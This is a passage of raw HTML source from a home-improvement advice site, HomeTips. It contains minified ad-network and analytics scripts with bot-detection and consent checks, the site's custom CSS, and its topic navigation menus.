window,`_Selenium_IDE_Recorder`in window,`callSelenium`in window,`_selenium`in window,`__webdriver_script_fn`in document,`__driver_evaluate`in document,`__webdriver_evaluate`in document,`__selenium_evaluate`in document,`__fxdriver_evaluate`in document,`__driver_unwrapped`in document,`__webdriver_unwrapped`in document,`__selenium_unwrapped`in document,`__fxdriver_unwrapped`in document,`__webdriver_script_func`in document,document.documentElement.getAttribute(`selenium`)!==null,document.documentElement.getAttribute(`webdriver`)!==null,document.documentElement.getAttribute(`driver`)!==null].some(e=>e)),e})}isSelenium(){return this.runTests()}};let Q=()=>
273{if(navigator&&navigator.userAgent&&X())return`uav`},te=()=>{let e=q();if(e.width>5e3||e.height>5e3)return`vpv`},ne=()=>{if(new Z().isSelenium())return`selenium`},re=()=>{if(J())return;let e=[te(),Q(),ne()].filter(e=>!!e);return e.length?e:void 0},ie=e=>(e==null?void 0:e[2])===`Y`,$=()=>ie(W.readExternalCookie(`usprivacy`));re()||$()||(()=>{try{var e,t,n,r,i,a,o,s,c,l,u;let d=(e=window.adthriveCLS)==null?void 0:e.siteAds,f=d==null?void 0:d.adOptions;if((f==null||(t=f.usCmpClickWrap)==null?void 0:t.enabled)===!0)return!0;let p=window.adthrive,m=p==null||(n=p.siteAds)==null?void 0:n.adOptions,h=m==null?void 0:m.usCMP,g=!(p==null||(r=p.siteAds)==null||(r=r.siteAdsProfiles)==null)&&r.length?p.siteAds:d,_=g?w(g):null,v=p==null||(i=p.core)==null?void 0:i.region,y=(m==null||(a=m.californiaPrivacyPopup)==null?void 0:a.enabled)===!0&&v===`CA`,b=(m==null||(o=m.thirdPartyCmp)==null?void 0:o.enabled)===!0||(p==null||(s=p.deliveryFeatures)==null?void 0:s.some(e=>e.startsWith(`pubProvidedCmp-`))),x=(_==null||(c=_.adOptions)==null||(c=c.usCMP)==null?void 0:c.clickWrapMode)===!0||(_==null||(l=_.experiment)==null?void 0:l.experimentChoices.some(e=>{var t;return((t=e.adOptions)==null||(t=t.usCMP)==null?void 0:t.clickWrapMode)===!0}))===!0;return x&&(!h||!v)?!0:((f==null||(u=f.usCMP)==null?void 0:u.clickWrapMode)===!0||(h==null?void 0:h.clickWrapMode)===!0||x||ee.isRolloutEnabled(`us-cmp-click-wrap-mode`))&&(h==null?void 0:h.enabled)===!0&&!!(v&&h.regions.includes(v))&&h.strictMode!==!0&&!y&&!b}catch{return!1}})()||(()=>{let e=`unknown`;return typeof Intl<`u`&&typeof Intl.DateTimeFormat==`function`&&typeof Intl.DateTimeFormat().resolvedOptions==`function`&&(e=Intl.DateTimeFormat().resolvedOptions().timeZone||`unknown`),e.startsWith(`America/`)})()&&(()=>{let e=`6035453`,t=$()?`0`:`1`,n={c1:`2`,c2:e,cs_fpid:W.readExternalCookie(`_pubcid`)||W.readExternalLocalStorage(`_pubcid`),cs_fpit:`o`,cs_fpdm:`*null`,cs_fpdt:`*null`,options:{enableFirstPartyCookie:!0},cs_ucfr:t||`0`};window._comscore=window._comscore||[],window._comscore.push(n),K(`https://sb.scorecardresearch.com/cs/${e}/beacon.js`).catch(e=>{p.error(`ComscoreTrackerComponent`,`init`,`Error during Comscore beacon.js import: `,e)})})()})();</script>
273<script data-no-optimize='1' data-cfasync='false' id='cls-disable-ads-cbeddd4'>var cls_disable_ads=(function(e){window.adthriveCLS.buildDate=`2026-09-22`,Object.defineProperty(e,Symbol.toStringTag,{value:`Module`});let t=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},n=()=>window.adthriveCLS,r={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},i=e=>{let t=window.location.href;return e.some(e=>new RegExp(e,`i`).test(t))};function a(e){"@babel/helpers - typeof";return a=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},a(e)}function o(e,t){if(a(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(a(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function s(e){var t=o(e,`string`);return a(t)==`symbol`?t:t+``}function c(e,t,n){return(t=s(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var l=class{constructor(e){this.adthrive=e,c(this,`all`,!1),c(this,`content`,!1),c(this,`recipe`,!1),c(this,`video`,!1),c(this,`locations`,new Set),c(this,`reasons`,new Set),(this.urlHasEmail(window.location.href)||this.urlHasEmail(window.document.referrer))&&(this.all=!0,this.reasons.add(`all_email`));try{this.checkCommandQueue()}catch(e){t.error(`ClsDisableAds`,`checkCommandQueue`,e)}}checkCommandQueue(){this.adthrive&&this.adthrive.cmd&&this.adthrive.cmd.forEach(e=>{let t=e.toString(),n=this.extractAPICall(t,`disableAds`);n&&this.disableAllAds(this.extractPatterns(n));let r=this.extractAPICall(t,`disableContentAds`);r&&this.disableContentAds(this.extractPatterns(r));let i=this.extractAPICall(t,`disablePlaylistPlayers`);i&&this.disablePlaylistPlayers(this.extractPatterns(i))})}extractPatterns(e){let t=e.match(/["'](.*?)['"]/g);if(t!==null)return t.map(e=>e.replace(/["']/g,``))}extractAPICall(e,t){let n=RegExp(t+`\\((.*?)\\)`,`g`),r=e.match(n);return r===null?!1:r[0]}disableAllAds(e){(!e||i(e))&&(this.all=!0,this.reasons.add(`all_page`))}disableContentAds(e){(!e||i(e))&&(this.content=!0,this.recipe=!0,this.locations.add(r.Content),this.locations.add(r.Recipe),this.reasons.add(`content_plugin`))}disablePlaylistPlayers(e){(!e||i(e))&&(this.video=!0,this.locations.add(`Video`),this.reasons.add(`video_page`))}urlHasEmail(e){return e?/([A-Z0-9._%+-]+(@|%(25)*40)[A-Z0-9.-]+\.[A-Z]{2,})/i.exec(e)!==null:!1}};let u=n();return u&&(u.disableAds=new l(window.adthrive)),e.ClsDisableAds=l,e})({});</script>
273<style id="wp-custom-css">.ssw_dropcap span {
274  color: #0099CC !important;
275	font-size: 45px;
276	font-weight:bold;
277}
278
279/*NOT WORKING 
280.subnav .subnavbtn .subnav-content {
281	font-weight: 300 !important;
282}
283
284.affiliate_disclosure_text .affiliate_disclosure_here_text span {
285	font-family: Arial !important;
286	color: #666 !important;
287}
288*/
289
290/*Added by Sunil*/
291/*h1{
292	color: #444 !important;
293	padding-top: 25px; 	
294}
295*/
296
297
298h2{
299	font-size: 33px !important;
300	color: #444 !important;
301	padding-top: 35px; 	
302}
303
304h3{	
305	font-size: 28px !important;
306	color: #444 !important;
307	padding-top: 25px; 	
308}
309
310h4{
311	font-size: 24px !important;
312	color: #444 !important;
313	padding-top: 25px; 	
314}
315
316h5{
317	font-size: 22px !important;
318	color: #444 !important;
319	padding-top: 15px; 	
320}
321
322.experts-row h3 {
323	padding-top: 0px !important;
324	color: #505050 !important;
325}
326
327.elementor-post__text {
328	margin-top: -30px;
329}
330
331
332/*Added by Sunil End*/
333
334/* THESE INTERFERE WITH TOP NAV PAGES
335 * .page-content p {
336	font-family: Arial !important;
337	font-size: 18px !important;
338	line-height: 1.75em !important;
339	color: #555
340}
341.page-content h2 {
342	color: #444 !important;
343}
344.page-content h3 {
345	color: #444 !important;
346}
347.page-content h4 {
348	color: #444 !important;
349}
350.page-content h5 {
351	color: #444 !important;
352}
353.page-content h2{
354	padding-top: 35px; 	
355}
356.page-content h3{
357	padding-top: 25px; 	
358}
359.page-content h4{
360	padding-top: 15px; 	
361}
362.page-content h5{
363	padding-top: 15px; 	
364}
365*/
366
367
368/* TOP NAV */
369#top-menu-nav {
370	padding-top: 10px !important;
371	font-family: helvetica;
372}
373#top_navigation .subnav .subnavbtn {
374		font-size: 16px !important;
375}
376
377.subnav-content a:hover {
378	background-color: #9dc9df !important;
379	color: #000 !important;
380}
381
382#top_navigation .subnav-content ul a{
383	font-family: helvetica !important;
384	font-size: 18px;
385}
386.site-branding {
387	padding-top: 30px !important;
388}
389
390
391/* HOMEPAGE - Experts */
392.experts-row p {
393	font-family: arial !important;
394	font-size: 13px !important;
395	color: #656565 !important;
396	line-height: 1.4em !important;
397}
398
399/* PAGE Widget Settings */    
400
401.elementor-widget-heading .elementor-heading-title.elementor-size-xl {
402    font-size: 45px;
403}
404
405.elementor-widget-breadcrumbs p {
406	font-family: helvetica;
407	font-size: 13px;
408	font-weight: 400;
409	color: #666; 
410	font-style: italic;
411
412}
413
414/*
415.elementor-heading-title {
416	font-size: 45px !important; 
417	font-weight: 700 !important;
418	color: #303030 !important;
419}
420*/
421
422.elementor-post__read-more {
423	font-family: arial !important;
424	color: #3399CC !important;
425}
426
427.elementor-post__title a {
428	font-family: arial !important;
429	font-weight: 600 !important;
430	font-size: 21px !important;
431	color: #303030 !important;
432}
433.elementor-post__title a:hover {
434		color: #3399cc !important;
435	  opacity: 1;
436}
437.elementor-post__title {
438	line-height: 1em !important;
439}
440
441
442.elementor-post-date {
443	font-family: arial !important;
444	font-size: 12px !important; 
445	font-weight: 300 !important;
446	color: #959595 !important;
447}
448
449.elementor-post-avatar {
450		font-family: arial !important;
451	font-size: 12px !important; 
452	font-weight: 300 !important;
453	color: #959595 !important;
454}
455
456.elementor-post__excerpt p{
457	font-family: helvetica !important;
458	font-size: 17px !important;
459	font-weight: 300 !important;
460	line-height: 1.4em !important;
461	color: #656565 !important;
462}
463
464.elementor-post__meta-data  {
465	padding-bottom: 10px;
466}
467
468.elementor-image-box-title {
469	margin-top: -25px !important;
470}
471.elementor-image-box-description {
472	font-family: helvetica !important;
473	font-size: 17px !important;
474	font-weight: 300 !important;
475	line-height: 1.4em !important;
476	color: #656565 !important;
477}
478
479.elementor-image-box-img img {
480  width: 300px;
481  height: 200px;
482	object-fit: cover;
483	overflow: hidden; 
484}
485
486.elementor-image-box-title {
487	color: #3399cc !important;
488}
489
490/*
491.elementor-accordion .elementor-tab-title {
492	font-family: helvetica;
493	color: #444
494}
495.elementor-accordion .elementor-tab-content a {
496}
497*/
498
499/* POST Top */    
500.post_author a {
501	color: #3399CC !important;
502}
503
504.custom_top_content .post_date {
505	margin-top: -18px;
506}
507
508.custom_top_content .post_date {
509	font-size: 15px !important;
510	font-weight: normal !important;
511}
512.affiliate_disclosure_top {
513	margin-top: -5px; 
514}
515
516
517/* POSTS */
518
519.anchor-main .anchor-inner1-inner {
520	font-family: helvetica !important;
521	font-weight: 700 !important;
522	color: #444444;
523	padding-left: 10px;
524}
525
526.anchor-main a{
527	font-family: Arial;
528	font-size: 15px !important; 
529	padding-left: 10px;
530}
531.post_list_heading {
532	font-family: helvetica;
533	font-weight: 600 !important;
534	color: #555;
535}
536.wp_post_list_categorywise a{
537	font-family: Helvetica;
538	font-size: 16px;
539	line-height: 1.8em;
540}
541.wp-caption-text {
542    font-family: Arial !important;
543    font-size: 16px;
544    line-height: 1.5;
545    color: #555;
546}
547.svg_ad_content_heading {
548	padding-bottom: 20px !important;
549}
550
551.sun-caption {
552	padding-top: 10px
553}
554
555
556/* SIDEBAR */   
557.sidebarfont-about p {
558	color: #666
559}
560
561.sidebarfont-affiliate {
562	color: #666 !important;
563}
564
565.textwidget .aboutdon h4 {
566	margin-top: -20px
567}
568
569
570/* EXPEREMENTAL FONTS */    
571.entry-title {
572	font-size: 40px;
573	font-family: verdana;
574	font-weight: 700 !important;
575}
576p {
577	color: #444;
578}
579h1, h2, h3, h4, h5, h6 {
580  font-family: verdana;
581	font-weight: 700;
582}
583
584/* MOBILE STYLES */
585/* PAGE WIDGETS */
586
587@media only screen and (max-width: 896px) { 
588	.elementor-widget-breadcrumbs p
589{
590	font-family: helvetica;
591	font-size: 12px;
592	font-weight: 400;
593	color: #666; 
594	font-style: italic;}
595
596.elementor-image-box-description {
597	padding-bottom: 10px;}
598}
599
600
601/* CSS TABLES */   
602table.blueTable {
603  border: 1px solid #1C6EA4;
604  background-color: #EEEEEE;
605  width: 100%;
606  text-align: center;
607  border-collapse: collapse;
608}
609table.blueTable td, table.blueTable th {
610  border: 1px solid #AAAAAA;
611  padding: 3px 2px;
612}
613table.blueTable tbody td {
614  font-size: 13px;
615}
616table.blueTable tr:nth-child(even) {
617  background: #D0E4F5;
618}
619table.blueTable thead {
620  background: #1C6EA4;
621  background: -moz-linear-gradient(top, #5592bb 0%, #327cad 66%, #1C6EA4 100%);
622  background: -webkit-linear-gradient(top, #5592bb 0%, #327cad 66%, #1C6EA4 100%);
623  background: linear-gradient(to bottom, #5592bb 0%, #327cad 66%, #1C6EA4 100%);
624  border-bottom: 2px solid #444444;
625}
626table.blueTable thead th {
627  font-size: 15px;
628  font-weight: bold;
629  color: #FFFFFF;
630  text-align: center;
631  border-left: 2px solid #D0E4F5;
632}
633table.blueTable thead th:first-child {
634  border-left: none;
635}
636
637table.blueTable tfoot {
638  font-size: 14px;
639  font-weight: bold;
640  color: #FFFFFF;
641  background: #D0E4F5;
642  background: -moz-linear-gradient(top, #dcebf7 0%, #d4e6f6 66%, #D0E4F5 100%);
643  background: -webkit-linear-gradient(top, #dcebf7 0%, #d4e6f6 66%, #D0E4F5 100%);
644  background: linear-gradient(to bottom, #dcebf7 0%, #d4e6f6 66%, #D0E4F5 100%);
645  border-top: 2px solid #444444;
646}
647table.blueTable tfoot td {
648  font-size: 14px;
649}
650table.blueTable tfoot .links {
651  text-align: right;
652}
653table.blueTable tfoot .links a{
654  display: inline-block;
655  background: #1C6EA4;
656  color: #FFFFFF;
657  padding: 2px 8px;
658  border-radius: 5px;
659}
660
661/* ===== Don's Advice System ===== */
662
663.dons-advice {
664  border: 1px solid #cfe3f7;
665  border-left: 6px solid #1e9be6;
666  border-radius: 12px;
667  background: #f8fbff;
668  padding: 24px;
669  margin: 28px 0;
670  box-shadow: 0 1px 4px rgba(0,0,0,.05);
671}
672
673.dons-advice-full {
674  display: grid;
675  grid-template-columns: 145px 1fr;
676  gap: 26px;
677  align-items: start;
678}
679
680.dons-advice-photo {
681  text-align: center;
682  border-right: 1px solid #d8e7f5;
683  padding-right: 24px;
684}
685
686.dons-advice-photo img {
687  width: 125px;
688  height: 125px;
689  border-radius: 50%;
690  object-fit: cover;
691  border: 3px solid #1e9be6;
692}
693
694.dons-advice-name {
695  font-size: .95em;
696  color: #005fae;
697  margin: 10px 0 2px;
698  font-weight: 500;
699  line-height: 1.2;
700  white-space: nowrap;
701}
702
703.dons-advice-title {
704  font-size: .84em;
705  color: #666;
706  line-height: 1.3;
707}
708
709.dons-advice-heading {
710  display: flex;
711  align-items: center;
712  gap: 12px;
713  color: #005fae;
714  font-size: 1.45em;
715  font-weight: 700;
716  margin: 0 0 14px;
717  padding-bottom: 10px;
718  border-bottom: 2px solid #1e9be6;
719}
720
721.dons-advice-icon {
722  background: #ffd83d;
723  color: #005fae;
724  width: 42px;
725  height: 42px;
726  border-radius: 50%;
727  display: inline-flex;
728  align-items: center;
729  justify-content: center;
730  font-size: 24px;
731  flex: 0 0 42px;
732}
733
734.dons-advice p {
735  margin: 0 0 12px;
736  font-size: 1.03em;
737  line-height: 1.55;
738}
739
740.dons-advice-takeaway {
741  background: #eef6ff;
742  border-radius: 10px;
743  padding: 14px 16px;
744  margin-top: 14px;
745  color: #004f9e;
746  font-style: italic;
747}
748
749.dons-tip {
750  border-left: 4px solid #1e9be6;
751  background: #f4f9ff;
752  padding: 12px 16px;
753  margin: 18px 0;
754  font-size: 1em;
755}
756
757.dons-tip strong {
758  color: #005fae;
759}
760
761@media (max-width: 700px) {
762  .dons-advice-full {
763    grid-template-columns: 1fr;
764  }
765
766  .dons-advice-photo {
767    border-right: none;
768    border-bottom: 1px solid #d8e7f5;
769    padding-right: 0;
770    padding-bottom: 18px;
771  }
772}
773.wp-caption .wp-caption-text,
774.wp-caption p.wp-caption-text,
775figure.wp-caption figcaption,
776figcaption.wp-caption-text,
777p.wp-caption-text {
778    font-size: 15px !important;
779    line-height: 1.5 !important;
780    color: #555;
781}</style><link rel="profile" href="http://gmpg.org/xfn/11" /></head><body class="wp-singular page-template-default page page-id-12410 wp-custom-logo wp-embed-responsive wp-theme-hello-elementor wp-child-theme-hello-elementor-child hello-elementor-default elementor-default elementor-kit-219905 elementor-page elementor-page-12410"><div id="top-header"><div id="secondary_menu"><div class="menu-secondarynavmenu-2-container"><ul id="menu-secondarynavmenu-2" class="menu"><li id="menu-item-219972" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219972"><a href="https://www.hometips.com/save-energy">Save Energy</a></li><li id="menu-item-219973" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219973"><a href="https://www.hometips.com/how-it-works">How Your House Works</a></li><li id="menu-item-219974" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219974"><a href="https://www.hometips.com/repair-fix">How to Repair</a></li><li id="menu-item-219975" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219975"><a href="https://www.hometips.com/diy-how-to">How to Install or Build</a></li><li id="menu-item-219976" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219976"><a href="https://www.hometips.com/buying-guides">Buying Guides</a></li><li id="menu-item-219977" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219977"><a href="https://www.hometips.com/browse">Browse</a></li></ul></div></div><header class="site-header" role="banner"><div class="site-branding"> <a href="https://www.hometips.com/" class="custom-logo-link" rel="home"><noscript><img width="300" height="61" src="https://www.hometips.com/wp-content/uploads/2020/07/Logo_300_600.png" class="custom-logo" alt="HomeTips" decoding="async" /></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20300%2061%22%3E%3C/svg%3E' width="300" height="61" data-src="https://www.hometips.com/wp-content/uploads/2020/07/Logo_300_600.png" class="lazyload custom-logo" alt="HomeTips" decoding="async" /></a></div><div id="top_navigation" ><nav id="top-menu-nav"><ul id="primary_menu" class=""><div class="navbar"><div class="subnav"> <button class="subnavbtn"> <a href=https://www.hometips.com/>Home</a> </button><div class="subnav-content"></div></div><div class="subnav"> <button class="subnavbtn"> <a href=https://www.hometips.com/about-us/>About Us</a> </button><div class="subnav-content"></div></div><div class="subnav"> <button class="subnavbtn"> <a href=/appliances>Appliances</a> </button><div class="subnav-content"><ul><li><a  href="/buying-guides/air-cleaners-filters-purifiers.html">Air Cleaners</a></li><li><a  href="/buying-guides/air-conditioners-room.html">AC - Window & Room</a></li><li><a  href="/home_barbecue.html">Barbecues</a></li><li><a  href="/central_vacuum_systems.html">Central Vacuums</a></li><li><a  href="/clothes_dryers.html">Clothes Dryers</a></li><li><a  href="/buying-guides/dehumidifiers.html">Dehumidifiers</a></li><li><a  href="/kitchen_dishwashers.html">Dishwashers</a></li><li><a  href="/buying-guides/garbage-disposals.html">Garbage Disposals</a></li><li><a  href="/buying-guides/home-humidifiers.html">Humidifiers</a></li><li><a  href="/buying-guides/cooking-ranges.html">Ranges &amp; Ovens</a></li><li><a  href="/kitchen_refrigerators.html">Refrigerators &amp; Freezers</a></li><li><a  href="/clothes_washing_machines.html">Washing Machines</a></li><li><a  href="/buying-guides/drinking-water-problems-solving.html">Water Filters</a></li><li><a  href="/hot_water_heater_best.html">Water Heaters</a></li><li><a  href="/buying-guides/water-softener-systems.html">Water Softeners</a></li></ul></div></div><div class="subnav"> <button class="subnavbtn"> <a href=/comfort>Heat / Cool</a> </button><div class="subnav-content"><ul><li class="float_l"><a  href="/central_air_conditioners.html">Air Conditioners - Central</a></li><li class="float_l"><a  href="/buying-guides/air-conditioners-room.html">AC - Window & Room</a></li><li class="float_l"><a  href="/buying-guides/ceiling-fans.html">Ceiling Fans</a></li><li class="float_l"><a  href="/buying-guides/direct-vent-fireplaces.html">Fireplaces &amp; Chimneys</a></li><li class="float_l"><a  href="/home_furnaces_heaters.html">Furnaces & Heating</a></li><li class="float_l"><a  href="/heat_pumps.html">Heat Pumps</a></li><li class="float_l"><a  href="/home_insulation.html">Insulating & Energy</a></li><li class="float_l"><a  href="/pellet_stoves.html">Pellet & Wood Stoves</a></li><li class="float_l"><a  href="/buying-guides/solar-panels.html">Solar Electric Panels</a></li><li class="float_l"><a  href="/buying-guides/thermostats.html">Thermostats</a></li><li class="float_l last-child"><a  href="/buying-guides/buying-ventilation-equipment.html">Ventilation &amp; Fans</a></li><li class="float_l last-child"><a  href="/home_windows.html">Windows</a></li></ul></div></div><div class="subnav"> <button class="subnavbtn"> <a href=/exterior-improvements>Exterior</a> </button><div class="subnav-content"><ul class="cat_0"><li class="float_l"><a  href="/aluminum_steel_metal_siding.html">Aluminum &amp; Steel Siding</a></li><li class="float_l"><a  href="/architectural-detailing-millwork-exterior.html">Architectural Detailing</a></li><li class="float_l"><a  href="/asphalt_shingle_roofing.html">Asphalt Roofing</a></li><li class="float_l"><a  href="/buying-guides/siding-brick-stone-veneer.html">Brick &amp; Stucco Siding</a></li><li class="float_l"><a  href="/how-it-works/roofing-tar-gravel-builtup.html">Built-Up (Flat) Roofing</a></li><li class="float_l"><a  href="/house_painting_exterior.html">Exterior Painting</a></li><li class="float_l"><a  href="/buying-guides/garage-doors.html">Garage Doors</a></li><li class="float_l"><a  href="/rain_gutters_downspouts.html">Gutters &amp; Downspouts</a></li><li class="float_l"><a  href="/buying-guides/metal-roofing.html">Metal Roofing</a></li><li class="float_l"><a  href="/plywood_osb_panel_siding.html">Plywood &amp; Panel Siding</a></li><li class="float_l"><a  href="/home_roofing.html">
781Roofing</a></li><li class="float_l"><a  href="/vinyl_house_siding.html">Vinyl Siding</a></li><li class="float_l"><a  href="/home_windows.html">Windows</a></li><li class="float_l"><a  href="/how-it-works/siding-house-wood.html">Wood &amp; Shingle Siding</a></li></ul></div></div><div class="subnav"> <button class="subnavbtn"> <a href=/interior-improvements>Interior</a> </button><div class="subnav-content"><ul class="cat_0"><li class="float_l"><a  href="/bathroom_cabinets.html">Bathroom Cabinets</a></li><li class="float_l"><a  href="/home_flooring_carpeting.html">Carpeting</a></li><li class="float_l"><a  href="/ceilings.html">Ceilings</a></li><li class="float_l"><a  href="/diy-how-to/closet-organization-system-build.html">Closets &amp; Organization</a></li><li class="float_l"><a  href="/buying-guides/doors-interior.html">Doors</a></li><li class="float_l"><a  href="/house_painting_interior.html">Interior Painting</a></li><li class="float_l"><a  href="/kitchen_cabinets.html">Kitchen Cabinets</a></li><li class="float_l"><a  href="/interior_molding_trim.html">Molding &amp; Trim</a></li><li class="float_l"><a  href="/buying-guides/soundproofing-insulation.html">Soundproofing</a></li><li class="float_l"><a  href="/stairs_stairways_banisters.html">Stairs</a></li><li class="float_l"><a  href="/home_flooring_tile_stone.html">Tile, Stone &amp; Grout</a></li><li class="float_l"><a  href="/home_flooring_resilient.html">Vinyl &amp; Resilient Flooring</a></li><li class="float_l"><a  href="/wallpaper_wall_coverings.html">Wall Coverings</a></li><li class="float_l"><a  href="/walls_home.html">Walls</a></li><li class="float_l"><a  href="/home_windows.html">Windows</a></li><li class="float_l last-child"><a  href="/home_flooring_hard_wood.html">Wood Floors</a></li></ul></div></div><div class="subnav"> <button class="subnavbtn"> <a href=/plumbing>Plumbing</a> </button><div class="subnav-content"><ul class="cat_0"><li class="float_l"><a  href="/bathroom_bathtubs.html">Bathtubs</a></li><li class="float_l"><a  href="/buying-guides/bathroom-faucets.html">Faucets &amp; Taps</a></li><li class="float_l"><a  href="/plumbing_fixtures.html">Home Plumbing System</a></li><li class="float_l"><a  href="/repair-fix/septic-tank-maintenance.html">Septic Systems</a></li><li class="float_l"><a  href="/bathroom_steam_showers.html">Showers &amp; Steam</a></li><li class="float_l"><a  href="/bathroom_sinks_lavs.html">Sinks &amp; Lavatories</a></li><li class="float_l last-child"><a  href="/lawn_sprinklers.html">Sprinklers &amp; Drip</a></li><li class="float_l last-child"><a  href="/sump_pumps.html">Sump Pumps</a></li><li class="float_l last-child"><a  href="/bathroom_toilets.html">Toilets &amp; Bidets</a></li><li class="float_l last-child"><a  href="/drinking_water_filters.html">Water Filters</a></li><li class="float_l last-child"><a  href="/hot_water_heater_best.html">Water Heaters</a></li><li class="float_l last-child"><a  href="/buying-guides/water-softener-systems.html">Water Softeners</a></li></ul></div></div><div class="subnav"> <button class="subnavbtn"> <a href=/electric-tech>Tech & Electric</a> </button><div class="subnav-content"><ul><li class="float_l"><a  href="/how-it-works/doorbells.html">Doorbells</a></li><li class="float_l"><a  href="/electrical_receptacles_outlets.html">Electric Receptacles</a></li><li class="float_l"><a  href="/home_electrical_systems.html">Electrical Systems</a></li><li class="float_l"><a  href="/home-electrical-wiring.html">Electrical Wiring</a></li><li class="float_l"><a  href="/diy-how-to/emergency-generator-setup.html">Generators</a></li><li class="float_l"><a  href="/buying-guides/home-security-alarm-systems.html">Home Security Systems</a></li><li class="float_l"><a  href="/light_electrical_switches_controls.html">Light Switches &amp; Controls</a></li><li class="float_l"><a  href="/buying-guides/light-fixtures-bulbs.html">Lighting</a></li><li class="float_l"><a  href="/how-it-works/networks-internet-service.html">Network &amp; Phone</a></li><li class="float_l"><a  href="/buying-guides/solar-panels.html">Solar Electric (PV) Panels</a></li><li class="float_l last-child"><a  href="/home_theater.html">TV &amp; Entertainment</a></li></ul></div></div><div class="subnav"> <button class="subnavbtn"> <a href=/yard>Yard</a> </button><div class="subnav-content"><ul><li class="float_l"><a  href="/home_barbecue.html">Barbecues</a></li><li class="float_l"><a  href="/deck_patio.html">Decks & Porches</a></li><li class="float_l"><a  href="/buying-guides/driveway-planning-new.html">Driveways</a></li><li class="float_l"><a  href="/vegetable-herb-gardens.html">Edible Gardening</a></li><li class="float_l"><a  href="/fences_gates_walls.html">Fences, Arbors & Gates</a></li><li class="float_l"><a  href="/buying-guides/flower-types.html">Flower Gardening</a></li><li class="float_l"><a  href="/how-it-works/patio-roof-construction-diagram.html">Gazebos & Patio Roofs</a></li><li class="float_l"><a  href="/lawns_groundcover.html">Lawns & Ground Covers</a></li><li class="float_l"><a  href="/buying-guides/energy-efficient-outdoor-lighting.html">Outdoor Lighting</a></li><li class="float_l"><a  href="/garden_paths_pavers.html">Patios, Paths, Pavers & Steps</a></li><li class="float_l last-child"><a  href="/outdoor-sheds-playhouses.html">Sheds & Playhouses</a></li><li class="float_l last-child"><a  href="/landscaping_tree_care.html">Shrubs, Hedges & Trees</a></li><li class="float_l last-child"><a  href="/lawn_sprinklers.html">Sprinklers & Drip</a></li><li class="float_l last-child"><a  href="/swimming_pools.html">Swimming Pools & Spas</a></li><li class="float_l last-child"><a  href="/garden_water_features.html">Water Features</a></li></ul></div></div></div></ul><div id="secondary_menu_mobile" class=""><div class="menu-secondarynavmenu-2-container"><ul id="menu-secondarynavmenu-3" class="menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219972"><a href="https://www.hometips.com/save-energy">Save Energy</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219973"><a href="https://www.hometips.com/how-it-works">How Your House Works</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219974"><a href="https://www.hometips.com/repair-fix">How to Repair</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219975"><a href="https://www.hometips.com/diy-how-to">How to Install or Build</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219976"><a href="https://www.hometips.com/buying-guides">Buying Guides</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-219977"><a href="https://www.hometips.com/browse">Browse</a></li></ul></div></div></nav><style>#top_navigation {
782    display:flex;
783    right: 50px;
784    position: absolute;
785    margin-top:40px;
786    padding-top:0px;
787}
788#top-menu-nav{
789    float: left;
790}
791#top_navigation .subnav .subnavbtn {
792  font-size: 16px !important;
793  padding:8px 10px;
794}
795#top_navigation .subnav-content ul a{
796	font-family: helvetica !important;
797	font-size: 14px;
798	padding:5px 15px;
799}
800#top_search{
801    padding-top:35px;
802}
803@media only screen and (max-width: 980px) {
804    #top_navigation {
805        display:none;
806        right: 0;
807    }
808    #top_navigation .subnavbtn a {
